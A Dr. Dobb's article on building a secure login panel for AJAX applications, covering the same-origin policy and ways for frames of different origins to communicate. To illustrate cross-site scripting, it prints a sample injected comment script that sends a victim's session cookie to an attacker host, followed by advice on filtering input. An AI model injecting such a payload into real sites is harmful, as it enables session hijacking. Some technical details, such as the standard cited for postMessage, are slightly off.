Channels ▼
RSS

Web Development

Secure Login in AJAX Applications


Elegant, but Hard

The brute-force approach works in simple situations, but an AJAX application should be more elegant than that. To my mind, a properly done AJAX application is based on a single page that redraws itself as necessary. Login, then, is ideally done in the context of that single page, reloading the minimum amount of the page from the server once the user has logged on. If logging in means that you'll be displaying secure content, you'll have to fetch new content (using HTTPS) from the server, of course, and that fetch may involve loading a completely new page; but we'd like to avoid that reload if possible. If we're logging in only to customize an insecure page (think Google News), then there's no need reload anything from the server (although you may need to fetch some data with an AJAX request). Just redraw the page to display its logged-in state in this case.

Here's an example of what I have in mind. Figure 3 shows a testbed to-do list application of mine (justatodolist.com) in the logged-out state. This app uses the login module that we'll look at next month. One warning: I mess with this code all the time as I experiment with various features, so the application may not look exactly like this picture. Nonetheless, I do my best not to break anything when I deploy a new version (a few people actually use it as a to-do list) — so if you find a bug, please tell me.

Returning to Figure 3, this page is a full-blown AJAX application, in that the to-do list at the bottom of the page is fully functional (albeit not persistent). You can drag to-do items to new positions, drag them to tabs to move them, drag them to the trash, etc. You'll note that this is an unsecure (HTTP) page, but it has a secure login box in the upper-right corner. That is, the password that you enter will be sent to the server using HTTPS, even though you can't make an HTTPS AJAX call from a page loaded from HTTP. The rest of this article, and all of next month's article, discuss how to accomplish this.

Think of that login panel as a login object that lives in its own small frame in the upper-right corner of the page. In fact, the login panel lives in an iframe that was loaded using HTTPS, so it's secure. (I should say as an aside that one significant drawback to this approach is that there's no "lock" icon in the browser to indicate that the login process is secure. I've never had anyone complain about that fact, but it does annoy me.)

Figure 3: The splash page.

When you log in, the page redraws itself (Figure 4). The login object redraws itself as a log-out link, and the code that comprises the main page redraws itself to eliminate all of the text above the to-do list. Of course, the to-do lists for the logged in-user are now displayed as well.

Figure 4: After logging in.

The hard part of all this programming is getting the insecure AJAX main page to coexist with the secure login panel. More importantly, when the login succeeds, the login object has to notify the main page that a login has occurred, so that the main page can redraw itself. It turns out that communication between the parts of the DOM that are loaded using HTTPS (the login panel) with the parts of the DOM that are loaded with HTTP (everything else) is difficult. Let's look at why that's so.

Cross-Site Scripting

I'll demonstrate why the limitations that we are about to discuss exist by describing a common attack on websites: cross-site scripting. Imagine that a badly written blog package accepts all comments from a reader of the blog, and thereafter displays those comments verbatim every time the blog entry is displayed. Now, imagine that an evil user enters the following comment onto our blog (script element and all):

Hello there.
<script>
	function getSessionIDFromCookie(){ ... }
	document.write( "<img height='1' width='1' src='http://evil-hacker-site.com?"
									+ getSessionIDFromCookie() + "'>" );
</script>

It's easy enough for the hacker to get the name of the session ID cookie simply by creating a legitimate account on the blog and looking at his own cookie names.

So, now you log in and look at the blog entry that has that comment in it. The hacker's script will run, and as far as the browser is concerned, the hacker-injected script is safe because it came from the same origin server as everything else on the page. Consequently, the script has access to all the JavaScript and cookies that are defined in the main page. In this case, the script gets your session ID, and sends it off to the hackers' website encoded in the img URL. Our friendly hacker can now hijack your session and the server won't know that the hacker, not you, is talking to it.

Note that if you store an unencrypted password in a cookie, our hacker can easily get that password by using this technique. Don't put sensitive stuff (like the OAuth token that we looked at last month) into cookies. No exceptions.

Protect yourself from this attack by removing any <script> elements that you find in any user input (and ban that particular user from the site). In general, don't ever redisplay any user input (even a username) unless it's been scrubbed in this way. Use a white-list approach for filtering: only allow characters that you know are safe, and always encode characters that might not be (for example, replace all < characters with &lt; and all single-quote characters with &rsquo;).You can search on "SQL Injection" to understand more about why scrubbing is important.

The Single-Origin Policy (SOP)

Although a cross-site scripting attack is not easy for the browser to repel, there are many similar attacks that are more tractable. The problem that cross-site scripting demonstrates is that it's dangerous to allow JavaScript that comes from one server (or origin) to access JavaScript functions or variables (or cookies) that come from a different server. Otherwise, some third-party advertisement that you put onto your web page could read all your cookies or call your JavaScript methods, which in an AJAX application, could access your server. Cross-site scripting is a way to circumvent that restriction, but in the general case, the browser enforces separation between code that comes from different places. That enforcement policy comes under the rubric of the Single-Origin Policy (SOP).

Here are The Rules:

  1. An origin is concatenation of protocol, domain, and port. If any of these differ, then the page is considered to originate from a different place. Consequently, https://holub.com and http://holub.com are different origins because the protocols (and probably the underlying ports) are different. Similarly, https://secure.holub.com and https://holub.com are different origins because the domains are different (subdomains are not the same location as the main domain).
  2. Cookies can be accessed only by pages (or code on pages) with the same origin. A cookie written by code loaded from https://secure.holub.com cannot be read by code that was loaded from http://www.holub.com (a different origin), for example.
  3. Code from a given origin cannot access code (or variables) that originated somewhere else.
  4. Code from a given origin can access all code (functions and variables) that comes from the same origin, even if that code is loaded independently. For example, JavaScript code in an iframe can call JavaScript functions and access JavaScript variables in the main frame, but only if the origin of the code in the iframe is identical to the origin of the code in the main frame.

In our login application, the main ramification of The Rules is that the login panel (loaded using HTTPS) cannot talk directly to the main panel (loaded using HTTP), so the login panel can't (at least not easily) notify the main AJAX application that a login has succeeded. Similarly, code in the main panel can't access any session IDs that are established during the login process or any cookies that are stored by the login panel. There are ways to deal with this problem, but they require some work.

Inter-Frame Communication, In Spite of SOP

So, we need our two frames to talk to one another, and we need to do that in spite of the fact that they come from different origins. There are three options, the first two of which don't work well, but let's look at all of them:

Method 1: postMessage().

ECMA-256 (JavaScript) defines a method called postMessage() that allows you to pass messages between iframes, even when they have different origins. The problem is the usual one with JavaScript: The standard isn't implemented consistently across browsers. For example, postMessage() works fine in Firefox; but in Safari and Chrome (all webkit-based browsers), parents in the DOM can send messages to children, but not vice versa. In Safari, the parent (outer) frame can talk to the child (login) frame, but we need to send an "I've logged in now" message in the other direction; from the login (child) to the outer (parent) frame. Finally, as usual, IE doesn't even pretend to conform to the standard; it has its own idiosyncratic way to do the same thing that postMessage() does, but IE doesn't support postMessage() at all.

For what it's worth, postMessage() is a relatively recent addition to JavaScript, so it won't run on old browsers. I'm heartened, by the way, that Google has just announced that it will support only the three most recent versions of all major browsers. Every time a new version comes out, Google will stop supporting the oldest of the three in all supported browsers. As there are a lot of GMail/Docs/Calendar users, this policy might finally force people to upgrade. Once, IE9 is released, IE6 support will stop (may it rest in peace).

Method 2: Hash modification.

A URL can contain an in-page location to the right of a hash mark (e.g. http://mydomain.com/myPage.html#location). You can actually modify the URL for the current page from JavaScript like this:

 window.location = "http://www.holub.com" ; 

That assignment will reload the page in every situation except the situation where the only thing that changes is the location to the right of the hash. For example, if the current URL is http://mydomain.com/myPage.html#oldLocation, executing

 window.location = "http://mydomain.com/myPage.html#<b>newLocation</b>"; 

will not force a page reload (though the text in the browser's URL bar will change).

You can leverage this fact to communicate between frames. One frame can modify the location hash, the other one can sit in a polling loop, waiting for the hash to change.

Other than the fact that that's incredibly ugly, the main problem with location-hash rewriting is that AJAX toolkits (GWT, for example) use the location hash to manage the back button. If you start messing with the hash, the back button won't work any more.

Method 3: IFrame Injection

Remember from our earlier discussion of The Rules, that code from a given origin can talk to all code that originates from the same place, even if the two chunks of code are loaded at different times into different frames.

Consider Figure 5. The outer frame (loaded from http://mydomain.com/mainPage.html) defines a function called loginOkay(). This method redraws the frame once a user had logged in successfully.

The child frame (loaded from https://secure.mydomain.com/loginPanel.html) implements the login panel. It comes from a different origin, so can't call loginOkay() directly. What it can do, however, is create another iframe dynamically by assigning a string that contains the HTML for a new <iframe> element to the innerHTML of one of its own divs (a div within the loginPanel, not the mainPage). That dynamically generated iframe is loaded from the same origin as the main page! Code executed in that third-level frame's onLoad method can call loginOkay().

So, the login panel can't call loginOkay(), but it can load a frame that will call loginOkay() for it. It could even pass arguments to the call using the URL query string.

The obvious downside to this approach is that it requires a round trip to the server (until the file is cached, at least). On the plus side, this way of doing things works just fine on pretty much every version of every browser on the planet.

Figure 5: Inter-frame communication.

Phew!

So now I've covered all the background necessary to understand the generic login-panel implementation, which will be the subject of next month's installment. It's an uphill slog, but there's a surprising number of little details to consider every time security is important.

Related Articles

Getting Started With the Cloud: Logging On With Google OAuth

Getting Started with Google Apps and OAuth

Getting Started with The Cloud: The Ecosystem


Allen Holub provides technical training, OO design and agile-process consulting, and web application/SaaS development services. He is the author of Holub on Patterns: Learning Design Patterns by Looking at Code (also available for Kindle), C+ C++: Programming With Objects in C and C++, and numerous articles for SD Times, JavaWorld, and IBM Developer Works. Contact him via http://www.holub.com/contact.


Related Reading


More Insights






Currently we allow the following HTML tags in comments:

Single tags

These tags can be used alone and don't need an ending tag.

<br> Defines a single line break

<hr> Defines a horizontal line

Matching tags

These require an ending tag - e.g. <i>italic text</i>

<a> Defines an anchor

<b> Defines bold text

<big> Defines big text

<blockquote> Defines a long quotation

<caption> Defines a table caption

<cite> Defines a citation

<code> Defines computer code text

<em> Defines emphasized text

<fieldset> Defines a border around elements in a form

<h1> This is heading 1

<h2> This is heading 2

<h3> This is heading 3

<h4> This is heading 4

<h5> This is heading 5

<h6> This is heading 6

<i> Defines italic text

<p> Defines a paragraph

<pre> Defines preformatted text

<q> Defines a short quotation

<samp> Defines sample computer code text

<small> Defines small text

<span> Defines a section in a document

<s> Defines strikethrough text

<strike> Defines strikethrough text

<strong> Defines strong text

<sub> Defines subscripted text

<sup> Defines superscripted text

<u> Defines underlined text

Dr. Dobb's encourages readers to engage in spirited, healthy debate, including taking us to task. However, Dr. Dobb's moderates all comments posted to our site, and reserves the right to modify or remove any content that it determines to be derogatory, offensive, inflammatory, vulgar, irrelevant/off-topic, racist or obvious marketing or spam. Dr. Dobb's further reserves the right to disable the profile of any commenter participating in said activities.

 
Disqus Tips To upload an avatar photo, first complete your Disqus profile. | View the list of supported HTML tags you can use to style comments. | Please read our commenting policy.
 
Dr. Dobb's TV